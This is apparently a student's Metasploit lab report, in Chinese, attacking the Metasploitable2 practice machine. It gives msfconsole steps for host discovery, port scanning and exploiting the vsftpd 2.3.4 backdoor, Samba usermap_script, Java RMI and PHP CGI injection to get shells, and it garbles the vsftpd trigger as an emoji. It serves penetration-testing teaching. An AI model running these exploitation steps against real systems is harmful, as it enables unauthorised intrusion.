1.實驗內容
本實踐目標是掌握metasploit的用法。
指導書參考Rapid7官網的指導教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下載官方靶機Metasploitable2,完成下面實驗內容。
(1)前期滲透
①主機發現(可用Aux中的arp_sweep,search一下就可以use)
②埠掃描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③選做:也可以掃系統版本、漏洞等。
(2)Vsftpd原始碼包後門漏洞(21埠)
漏洞原理:在特定版本的vsftpd伺服器程式中,被人惡意植入程式碼,當使用者名稱以“😃”為結尾,伺服器就會在6200埠監聽,並且能夠執行任意程式碼。
利用步驟:
在kali中執行msfconsole 啟動metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 選擇漏洞
set RHOST XX.xx.xx.xx 設定要攻擊的機器IP(靶機IP)
exploit/run 開始攻擊
利用成功
執行uname –a、 pwd、 id等命令 驗證
(3)SambaMS-RPC Shell命令注入漏洞(埠139)
漏洞原理:Samba中負責在SAM資料庫更新使用者口令的程式碼未經過濾便將使用者輸入傳輸給了/bin/sh。如果在呼叫smb.conf中定義的外部指令碼時,透過對/bin/sh的MS-RPC呼叫提交了惡意輸入的話,就可能允許攻擊者以nobody使用者的許可權執行任意命令。
利用步驟:
use exploit/multi/samba/usermap_script 選擇漏洞
set RHOST ip 設定要攻擊的機器IP
exploit 開始攻擊
利用成功 執行uname–a驗證
(4)Java RMI SERVER命令執行漏洞(1099埠)
漏洞原理:Java RMI Server的RMI登錄檔和RMI啟用服務的預設配置存在安全漏洞,可被利用導致程式碼執行。
操作步驟:
首先檢視1099埠是否開啟。
然後在MSF中:
use exploit/multi/misc/java_rmi_server
show options 檢視配置引數
set RHOST (靶機IP)
exploit/run
sessions -i id
shell (進入meterpreter時,使用whoami驗證下)
(5)PHP CGI引數執行注入漏洞(80埠)
漏洞原理:CGI指令碼沒有正確處理請求引數,導致原始碼洩露,允許遠端攻擊者在請求引數中插入執行命令。
在kali中執行msfconsole,啟動metasploit
msf > use exploit/multi/http/php_cgi_arg_injection 選擇漏洞
set RHOST ip 設定要攻擊的機器IP
exploit/run 開始攻擊
2.實驗過程
(1)前期滲透
①主機發現(可用Aux中的arp_sweep,search一下就可以use)
msfconsole啟動控制檯
search arp_sweep搜尋模組
開啟靶機檢視ip地址
use 0選擇模組,set rhosts 192.168.1.112設定引數,run開始攻擊,查詢到靶機
②埠掃描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
使用Aux中的portscan/tcp,search portscan/tcp,use 0選擇模組,set rhosts 192.168.1.112,set ports 1-65535設定引數
run開始攻擊
③掃系統版本、漏洞等
search auxiliary/scanner/smb/smb_version、use 0、set RHOSTS 192.168.1.112、run
(2)Vsftpd原始碼包後門漏洞(21埠)
use exploit/unix/ftp/vsftpd_234_backdoor 選擇模組set RHOST 192.168.1.112設定引數
run開始攻擊輸入uname -a,pwd,id,ifconfig驗證
(3)SambaMS-RPC Shell命令注入漏洞(埠139)
use exploit/multi/samba/usermap_script 選擇模組set RHOST 192.168.1.112設定引數,run開始攻擊,使用uname -a,pwd,ifconfig
(4)Java RMI SERVER命令執行漏洞(1099埠)
use exploit/multi/misc/java_rmi_server選擇模組set RHOST 192.168.1.112設定引數run開始攻擊sessions -i 3進入任務,shell進入shell,whoami進行驗證
(5)PHP CGI引數執行注入漏洞(80埠)
use exploit/multi/http/php_cgi_arg_injection,set RHOST ip 192.168.1.112,run開始攻擊
3.問題及解決方案
- 問題1:在最開始掃描的時候掃描不出靶機,ping靶機發現ping不通
- 問題1解決方案:將靶機的網路介面卡改為橋接
4.學習感悟、思考等
Metasploit 作為一款功能強大的滲透測試框架,其涵蓋的眾多模組和工具在本次實驗中得以充分展現。透過實際操作,我對其漏洞掃描、漏洞利用、後滲透等核心功能有了更直觀的感受。例如,在利用特定漏洞獲取目標系統許可權的過程中,我學會了如何精準地選擇合適的漏洞利用模組,並根據目標系統的環境進行引數配置,以確保攻擊的有效性。這不僅需要對 Metasploit 框架本身的熟悉,更需要對各種作業系統、網路服務以及常見漏洞型別有深入的理解。